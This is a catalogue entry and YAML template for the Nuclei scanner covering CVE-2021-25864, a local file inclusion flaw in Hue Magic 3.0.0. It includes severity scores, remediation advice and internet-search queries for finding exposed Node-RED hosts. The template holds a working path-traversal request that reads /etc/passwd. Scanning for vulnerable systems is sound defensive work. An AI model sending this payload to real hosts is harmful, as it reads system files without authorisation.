CVE-2021-25864: Hue Magic 3.0.0 - Local File Inclusion
- Template: CVE-2021-25864
- Name: Hue Magic 3.0.0 - Local File Inclusion
- Description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
- Impact: The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
- Remediation: Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
- Severity: high
- Authors: 0x_Akoko
- Tags: cve2021, cve, huemagic, lfi, dgtl, node.js, vkev, vuln
- References: https://github.com/Foddy/node-red-contrib-huemagic/issues/217, https://nvd.nist.gov/vuln/detail/CVE-2021-25864, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-25864
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-25864.yaml
- Digest: 4b0a004830460221008b99e835ff5e5a7fd6ddd0643fe97710d886e38f17b745f9f48cf2a8266c08e0022100d016cb842e745261f0f6ee94cf2375babb1a1e1c67541ff4ca1bc33d7f6549c2
- Created at: 2022-01-31T09:06:37Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1758
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25864.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.09331
- Epss percentile: 0.95508
- Cpe: cpe:2.3:a:dgtl:huemagic:3.0.0:*:*:*:*:node.js:*:*
Metadata
- Fofa-query: title="node-red"
- Framework: node.js
- Google-query: intitle:"node-red"
- Max-request: 1
- Product: huemagic
- Shodan-query: title:"NODE-RED", http.title:"node-red"
- Vendor: dgtl
Products
| Product | Indexed | Url |
|---|---|---|
| dgtl:huemagic | yes | /v1/products/dgtl/huemagic |
Labels
- Name: Hue Magic - File Inclusion
- Impact: Attackers can access arbitrary files on the system, potentially leading to information disclosure or further system compromise.
- Remediation: Update to the latest version where the vulnerability is fixed or implement input validation for res.sendFile.
- Vulnerability type: file_inclusion
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-25864
- Not known: requirements
```yaml
id: CVE-2021-25864
info:
name: Hue Magic 3.0.0 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
impact: |
The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
remediation: |
Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
reference:
- https://github.com/Foddy/node-red-contrib-huemagic/issues/217
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-25864
cwe-id: CWE-22
epss-score: 0.09331
epss-percentile: 0.95508
cpe: cpe:2.3:a:dgtl:huemagic:3.0.0:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: dgtl
product: huemagic
framework: node.js
shodan-query:
- title:"NODE-RED"
- http.title:"node-red"
fofa-query: title="node-red"
google-query: intitle:"node-red"
tags: cve2021,cve,huemagic,lfi,dgtl,node.js,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4b0a004830460221008b99e835ff5e5a7fd6ddd0643fe97710d886e38f17b745f9f48cf2a8266c08e0022100d016cb842e745261f0f6ee94cf2375babb1a1e1c67541ff4ca1bc33d7f6549c2:922c64590222798bb761d5b6d8e72950
```